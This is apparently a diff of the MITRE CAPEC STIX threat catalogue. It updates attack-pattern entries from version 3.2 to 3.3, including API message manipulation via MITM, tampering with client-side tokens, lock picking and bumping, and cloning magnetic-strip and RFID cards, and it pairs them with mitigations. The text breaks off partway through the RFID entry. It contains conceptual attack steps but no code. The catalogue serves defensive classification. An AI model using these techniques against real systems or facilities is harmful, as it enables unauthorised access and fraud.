"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f27d7fdd-9727-4b1e-852a-80cea8641b62", "source_ref": "course-of-action--22eb9bea-93ce-4bec-b575-33aa10b6766a", "relationship_type": "mitigates", "target_ref": "attack-pattern--2e603682-c08c-4af1-8e06-329dc8bbe4b4" }, { + "id": "course-of-action--58265fa6-0c01-42ec-a9a5-1e3535b9b8cb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-38-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Host integrity monitoring", - "type": "course-of-action", - "id": "course-of-action--58265fa6-0c01-42ec-a9a5-1e3535b9b8cb" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c212a3ad-89fe-4eec-b57a-6c1471eb8a8a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c212a3ad-89fe-4eec-b57a-6c1471eb8a8a", "source_ref": "course-of-action--58265fa6-0c01-42ec-a9a5-1e3535b9b8cb", "relationship_type": "mitigates", "target_ref": "attack-pattern--2e603682-c08c-4af1-8e06-329dc8bbe4b4" }, { + "id": "attack-pattern--2a8a634e-cf1f-4b2e-9a71-1ab8e6bb16d0", "name": "Harvesting Information via API Event Monitoring", "description": "An adversary hosts an event within an application framework and then monitors the data exchanged during the course of the event for the purpose of harvesting any important data leaked during the transactions. One example could be harvesting lists of usernames or userIDs for the purpose of sending spam messages to those users. One example of this type of attack involves the adversary creating an event within the sub-application. Assume the adversary hosts a \"virtual sale\" of rare items. As other users enter the event, the attacker records via MITM proxy the user_ids and usernames of everyone who attends. The adversary would then be able to spam those users within the application using an automated script.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -22290,11 +23813,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--2a8a634e-cf1f-4b2e-9a71-1ab8e6bb16d0" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--ef067fa3-03f9-4b2b-be2a-8afcd04006f5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -22303,23 +23826,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Leverage encryption techniques during information transactions so as to protect them from attack patterns of this kind.", - "type": "course-of-action", - "id": "course-of-action--ef067fa3-03f9-4b2b-be2a-8afcd04006f5" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c553bedf-6dd2-4f6e-bb3f-680cd65f2c57", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c553bedf-6dd2-4f6e-bb3f-680cd65f2c57", "source_ref": "course-of-action--ef067fa3-03f9-4b2b-be2a-8afcd04006f5", "relationship_type": "mitigates", "target_ref": "attack-pattern--2a8a634e-cf1f-4b2e-9a71-1ab8e6bb16d0" }, { + "id": "attack-pattern--ea07b1ea-c1b0-4923-8d25-a8fc39da040a", "name": "Application API Message Manipulation via Man-in-the-Middle", "description": "An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system. Despite the use of MITM software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true \"Man-in-the-Middle\" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -22374,11 +23899,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ea07b1ea-c1b0-4923-8d25-a8fc39da040a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--0a899aed-6271-4cc9-8ffc-5c9575776731", "name": "Transaction or Event Tampering via Application API Manipulation", "description": "An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -22433,11 +23958,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--0a899aed-6271-4cc9-8ffc-5c9575776731" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--9df3addd-7bea-44e5-be63-4cc46d64fbea", "name": "Application API Navigation Remapping", "description": "An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -22492,11 +24017,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9df3addd-7bea-44e5-be63-4cc46d64fbea" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--4343b267-a4f4-4adb-aa1c-48c79c992210", "name": "Navigation Remapping To Propagate Malicious Content", "description": "An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, spam-like content, or links to the attackers' code. In general, content-spoofing within an application API can be employed to stage many different types of attacks varied based on the attackers' intent. When the goal is to spread malware, deceptive content is created such as modified links, buttons, or images, that entice users to click on those items, all of which point to a malicious URI. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the destination of various application interface elements.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -22551,11 +24076,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--4343b267-a4f4-4adb-aa1c-48c79c992210" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--9c41b3f7-76fa-4864-9b1d-304327dcd55c", "name": "Application API Button Hijacking", "description": "An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -22613,11 +24138,11 @@ "\n An in-game event occurs and the attacker traps the result, which turns out to be a form that will be populated to their primary profile. The attacker, using a MITM proxy, observes the following data:\n [Button][Claim_Item]Sourdough_Cookie[URL_IMG]foo[/URL_IMG][Claim_Link]bar[/Claim_Link]\n By altering the destination of \"Claim_Link\" to point to the attackers' server an unwitting victim can be enticed to click the link. Another example would be for the attacker to rewrite the button destinations for an event so that clicking \"Yes\" or \"No\" causes the user to load the attackers' code.\n " ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9c41b3f7-76fa-4864-9b1d-304327dcd55c" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--33370ee8-a290-42cc-b85d-5fd13f1f6fed", "name": "Content Spoofing Via Application API Manipulation", "description": "An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, spam-like content, or links to the attackers' code. In general, content-spoofing within an application API can be employed to stage many different types of attacks varied based on the attackers' intent. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -22652,11 +24177,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--33370ee8-a290-42cc-b85d-5fd13f1f6fed" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--9afead03-280c-4f2c-82f6-b08b7a54a8e3", "name": "Manipulating Opaque Client-based Data Tokens", "description": "In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -22664,7 +24189,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -22746,116 +24271,125 @@ }, "x_capec_abstraction": "Standard", "x_capec_example_instances": [ - "With certain price watching websites, that aggregate products available prices, the user can buy items through whichever vendors has product availability, the best price, or other differentiator. Once a user selects an item, the site must broker the purchase of that item with the vendor. Because vendors sell the same product through different channel partners at different prices, token exchange between price watching sites and selling vendors will often contain pricing information. With some price watching sites, manipulating URL-data (which is encrypted) even opaquely yields different prices charged by the fulfilling vendor. If the manipulated price turns out higher, the Attacker can cancel purchase. If the Attacker succeeded in manipulating the token and creating a lower price, he/she proceeds.", + "With certain price watching websites, that aggregate products available prices, the user can buy items through whichever vendors has product availability, the best price, or other differentiator. Once a user selects an item, the site must broker the purchase of that item with the vendor. Because vendors sell the same product through different channel partners at different prices, token exchange between price watching sites and selling vendors will often contain pricing information. With some price watching sites, manipulating URL-data (which is encrypted) even opaquely yields different prices charged by the fulfilling vendor. If the manipulated price turns out higher, the Attacker can cancel purchase. If the Attacker succeeded in manipulating the token and creating a lower price, they proceed.", "Upon successful authentication user is granted an encrypted authentication cookie by the server and it is stored on the client. One piece of information stored in the authentication cookie reflects the access level of the user (e.g. \"u\" for user). The authentication cookie is encrypted using the Electronic Code Book (ECB) mode, that naively encrypts each of the plaintext blocks to each of the ciphertext blocks separately. An attacker knows the structure of the cookie and can figure out what bits (encrypted) store the information relating to the access level of the user. An attacker modifies the authentication cookie and effectively substitutes \"u\" for \"a\" by flipping some of the corresponding bits of ciphertext (trial and error). Once the correct \"flip\" is found, when the system is accessed, the attacker is granted administrative privileges in the system. Note that in this case an attacker did not have to figure out the exact encryption algorithm or find the secret key, but merely exploit the weakness inherent in using the ECB encryption mode.", "Archangel Weblog 0.90.02 allows remote attackers to bypass authentication by setting the ba_admin cookie to 1. See also: CVE-2006-0944" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Enumerate information passed to client side: The attacker identifies the parameters used as part of tokens to take business or security decisions

    2. Techniques
    Use WebScarab to reveal hidden fields while browsing.
    Use a sniffer to capture packets
    View source of web page to find hidden fields
    Examine URL to see if any opaque tokens are in it
    Disassemble or decompile client-side application
    Use debugging tools such as File Monitor, Registry Monitor, Debuggers, etc.

  2. Determine protection mechanism for opaque token: The attacker determines the protection mechanism used to protect the confidentiality and integrity of these data tokens. They may be obfuscated or a full blown encryption may be used.

    3. Techniques
    Look for signs of well-known character encodings
    Look for cryptographic signatures
    Look for delimiters or other indicators of structure

Experiment

  1. Modify parameter/token values: Trying each parameter in turn, the attacker modifies the values

    2. Techniques
    Modify tokens logically
    Modify tokens arithmetically
    Modify tokens bitwise
    Modify structural components of tokens
    Modify order of parameters/tokens

  2. Cycle through values for each parameter.: Depending on the nature of the application, the attacker now cycles through values of each parameter and observes the effects of this modification in the data returned by the server

    3. Techniques
    Use network-level packet injection tools such as netcat
    Use application-level data modification tools such as Tamper Data, WebScarab, TamperIE, etc.
    Use modified client (modified by reverse engineering)
    Use debugging tools to modify data in client
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9afead03-280c-4f2c-82f6-b08b7a54a8e3" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--e9607fbe-044b-4d09-8ead-802f3f085108", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-39-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "One solution to this problem is to protect encrypted data with a CRC of some sort. If knowing who last manipulated the data is important, then using a cryptographic \"message authentication code\" (or hMAC) is prescribed. However, this guidance is not a panacea. In particular, any value created by (and therefore encrypted by) the client, which itself is a \"malicious\" value, all the protective cryptography in the world can't make the value 'correct' again. Put simply, if the client has control over the whole process of generating and encoding the value, then simply protecting its integrity doesn't help.", - "type": "course-of-action", - "id": "course-of-action--e9607fbe-044b-4d09-8ead-802f3f085108" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--67d47bb8-367b-4568-834c-70ed30ce08cc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--67d47bb8-367b-4568-834c-70ed30ce08cc", "source_ref": "course-of-action--e9607fbe-044b-4d09-8ead-802f3f085108", "relationship_type": "mitigates", "target_ref": "attack-pattern--9afead03-280c-4f2c-82f6-b08b7a54a8e3" }, { + "id": "course-of-action--c9f9e9db-5633-4696-b4dc-e6082a1ccb15", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-39-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Make sure to protect client side authentication tokens for confidentiality (encryption) and integrity (signed hash)", - "type": "course-of-action", - "id": "course-of-action--c9f9e9db-5633-4696-b4dc-e6082a1ccb15" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--b6318059-55e6-4b00-9821-0eae3425f8df", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b6318059-55e6-4b00-9821-0eae3425f8df", "source_ref": "course-of-action--c9f9e9db-5633-4696-b4dc-e6082a1ccb15", "relationship_type": "mitigates", "target_ref": "attack-pattern--9afead03-280c-4f2c-82f6-b08b7a54a8e3" }, { + "id": "course-of-action--08eae113-ec2a-445c-afca-ffe3b526e605", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-39-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Make sure that all session tokens use a good source of randomness", - "type": "course-of-action", - "id": "course-of-action--08eae113-ec2a-445c-afca-ffe3b526e605" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--38c91dac-0db3-40f7-ab37-2d092382b5ca", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--38c91dac-0db3-40f7-ab37-2d092382b5ca", "source_ref": "course-of-action--08eae113-ec2a-445c-afca-ffe3b526e605", "relationship_type": "mitigates", "target_ref": "attack-pattern--9afead03-280c-4f2c-82f6-b08b7a54a8e3" }, { + "id": "course-of-action--85ac4180-1e64-45ea-a569-f9e826426ae8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-39-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Perform validation on the server side to make sure that client side data tokens are consistent with what is expected.", - "type": "course-of-action", - "id": "course-of-action--85ac4180-1e64-45ea-a569-f9e826426ae8" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--2f0a0801-67e1-4043-87bf-b630a49aa8a8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--2f0a0801-67e1-4043-87bf-b630a49aa8a8", "source_ref": "course-of-action--85ac4180-1e64-45ea-a569-f9e826426ae8", "relationship_type": "mitigates", "target_ref": "attack-pattern--9afead03-280c-4f2c-82f6-b08b7a54a8e3" }, { + "id": "attack-pattern--8ba08815-66fb-4150-a7fa-8ab6d1472b5f", "name": "Bypassing Physical Security", "description": "Facilities often used layered models for physical security such as traditional locks, Electronic-based card entry systems, coupled with physical alarms. Hardware security mechanisms range from the use of computer case and cable locks as well as RFID tags for tracking computer assets. This layered approach makes it difficult for random physical security breaches to go unnoticed, but is less effective at stopping deliberate and carefully planned break-ins. Avoiding detection begins with evading building security and surveillance and methods for bypassing the electronic or physical locks which secure entry points.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -22878,11 +24412,11 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--8ba08815-66fb-4150-a7fa-8ab6d1472b5f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--00c93895-c68e-4d27-a1ec-0dddce68ed97", "name": "Bypassing Physical Locks", "description": "An attacker uses techniques and methods to bypass physical security measures of a building or facility. Physical locks may range from traditional lock and key mechanisms, cable locks used to secure laptops or servers, locks on server cases, or other such devices. Techniques such as lock bumping, lock forcing via snap guns, or lock picking can be employed to bypass those locks and gain access to the facilities or devices they protect, although stealth, evidence of tampering, and the integrity of the lock following an attack, are considerations that may determine the method employed. Physical locks are limited by the complexity of the locking mechanism. While some locks may offer protections such as shock resistant foam to prevent bumping or lock forcing methods, many commonly employed locks offer no such countermeasures.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -22905,11 +24439,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--00c93895-c68e-4d27-a1ec-0dddce68ed97" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--4068bee0-b331-49e8-872e-98429a3c374a", "name": "Lock Bumping", "description": "An attacker uses a bump key to force a lock on a building or facility and gain entry. Lock Bumping is the use of a special type of key that can be tapped or bumped to cause the pins within the lock to fall into temporary alignment, allowing the lock to be opened. Lock bumping allows an attacker to open a lock without having the correct key. A standard lock is secured by a set of internal pins that prevent the device from turning. Spring loaded driver pins push down on the key pins. When the correct key is inserted, the ridges on the key push the key pins up and against the driver pins, causing correct alignment which allows the lock cylinder to rotate. A bump key is a specially constructed key that exploits this design. When the bump key is struck or firmly tapped, its teeth transfer the force of the tap into the key pins, causing the lock to momentarily shift into proper alignment for the mechanism to be opened.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -22932,11 +24466,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--4068bee0-b331-49e8-872e-98429a3c374a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--9996317e-313b-456c-8bc8-491dbb53b368", "name": "Lock Picking", "description": "An attacker uses lock picking tools and techniques to bypass the locks on a building or facility. Lock picking is the use of a special set of tools to manipulate the pins within a lock. Different sets of tools are required for each type of lock. Lock picking attacks have the advantage of being non-invasive in that if performed correctly the lock will not be damaged. A standard lock pin-and-tumbler lock is secured by a set of internal pins that prevent the tumbler device from turning. Spring loaded driver pins push down on the key pins preventing rotation so that the bolt remains in a locked position.. When the correct key is inserted, the ridges on the key push the key pins up and against the driver pins, causing correct alignment which allows the lock cylinder to rotate. Most common locks, such as domestic locks in the US, can be picked using a standard 2 tools (i.e. a torsion wrench and a hook pick).", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -22959,11 +24493,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9996317e-313b-456c-8bc8-491dbb53b368" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--aea87f07-9619-4bc5-9790-01bf3423c494", "name": "Using a Snap Gun Lock to Force a Lock", "description": "An attacker uses a Snap Gun, also known as a Pick Gun, to force the lock on a building or facility. A Pick Gun is a special type of lock picking instrument that works on similar principles as lock bumping. A snap gun is a hand-held device with an attached metal pick. The metal pick strikes the pins within the lock, transferring motion from the key pins to the driver pins and forcing the lock into momentary alignment. A standard lock is secured by a set of internal pins that prevent the device from turning. Spring loaded driver pins push down on the key pins. When the correct key is inserted, the ridges on the key push the key pins up and against the driver pins, causing correct alignment which allows the lock cylinder to rotate. A Snap Gun exploits this design by using a metal pin to strike all of the key pins at once, forcing the driver pins to shift into an unlocked position. Unlike bump keys or lock picks, a Snap Gun may damage the lock more easily, leaving evidence that the lock has been tampered with.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -22986,11 +24520,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--aea87f07-9619-4bc5-9790-01bf3423c494" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--5e808864-44b1-478c-8cb0-75c55cd51e2b", "name": "Bypassing Electronic Locks and Access Controls", "description": "An attacker exploits security assumptions to bypass electronic locks or other forms of access controls. Most attacks against electronic access controls follow similar methods but utilize different tools. Some electronic locks utilize magnetic strip cards, others employ RFID tags embedded within a card or badge, or may involve more sophisticated protections such as voice-print, thumb-print, or retinal biometrics. Magnetic Strip and RFID technologies are the most widespread because they are cost effective to deploy and more easily integrated with other electronic security measures. These technologies share common weaknesses that an attacker can exploit to gain access to a facility protected by the mechanisms via copying legitimate cards or badges, or generating new cards using reverse-engineered algorithms.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23013,11 +24547,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--5e808864-44b1-478c-8cb0-75c55cd51e2b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--631dcf7a-d23f-45b3-b72a-ebd5a3625aeb", "name": "DEPRECATED: Bypassing Card or Badge-Based Systems", "description": "This attack pattern has been deprecated as it a generalization of CAPEC-397: Cloning Magnetic Strip Cards, CAPEC-398: Magnetic Strip Card Brute Force Attacks, CAPEC-399: Cloning RFID Cards or Chips and CAPEC-400: RFID Chip Deactivation or Destruction. Please refer to these CAPECs going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23035,11 +24569,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--631dcf7a-d23f-45b3-b72a-ebd5a3625aeb" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--19015961-475c-438b-887b-e3d66a9143de", "name": "Cloning Magnetic Strip Cards", "description": "An attacker duplicates the data on a Magnetic strip card (i.e. 'swipe card' or 'magstripe') to gain unauthorized access to a physical location or a person's private information. Magstripe cards encode data on a band of iron-based magnetic particles arrayed in a stripe along a rectangular card. Most magstripe card data formats conform to ISO standards 7810, 7811, 7813, 8583, and 4909. The primary advantage of magstripe technology is ease of encoding and portability, but this also renders magnetic strip cards susceptible to unauthorized duplication. If magstripe cards are used for access control, all an attacker need do is obtain a valid card long enough to make a copy of the card and then return the card to its location (i.e. a co-worker's desk). Magstripe reader/writers are widely available as well as software for analyzing data encoded on the cards. By swiping a valid card, it becomes trivial to make any number of duplicates that function as the original.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23062,11 +24596,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--19015961-475c-438b-887b-e3d66a9143de" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--65737f80-588a-449a-af08-0508486d9481", "name": "Magnetic Strip Card Brute Force Attacks", "description": "An attacker analyzes the data on two or more magnetic strip cards and is able to generate new cards containing valid sequences that allow unauthorized access and/or impersonation of individuals. Often, magnetic strip encoding methods follow a common format for a given system laid out in up to three tracks. A single card may allow access to a corporate office complex shared by multiple companies. By analyzing how the data is stored on a card, it is also possible to create valid cards via brute-force attacks. For example, a single card can grant access to a building, a floor, and a suite number. Reading and analyzing data on multiple cards, then performing a difference analysis between data encoded on three different cards, can reveal clues as to how to generate valid cards that grant access to restricted areas of a building or suites/rooms within that building. Data stored on magstripe cards is often unencrypted, therefore comparing which data changes when two or more cards are analyzed can yield results that aid in determining the structure of the card data. A trivial example would be a common system data format on a data track which binary encodes the suite number of a building that a card will open. By creating multiple cards with differing binary encoded segments it becomes possible to enter unauthorized areas or pass through checkpoints giving the electronic ID of other persons.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23092,11 +24626,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--65737f80-588a-449a-af08-0508486d9481" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--ca237733-be3e-4d9c-85a0-d18cb1c8295d", "name": "Cloning RFID Cards or Chips", "description": "An attacker analyzes data returned by an RFID chip and uses this information to duplicate a RFID signal that responds identically to the target chip. In some cases RFID chips are used for building access control, employee identification, or as markers on products being delivered along a supply chain. Some organizations also embed RFID tags inside computer assets to trigger alarms if they are removed from particular rooms, zones, or buildings. Similar to Magnetic strip cards, RFID cards are susceptible to duplication (cloning) and reuse. RFID (Radio Frequency Identification) are passive devices which consist of an integrated circuit for processing RF signals and an antenna. RFID devices are passive in that they lack an on on-board power source. The majority of RFID chips operate on either the 13.56 MHz or 135 KHz frequency. The chip is powered when a signal is received by the antenna on the chip, powering the chip long enough to send a reply message. An attacker is able to capture and analyze RFID data by either stimulating the chip to respond or being proximate to the chip when it sends a response to 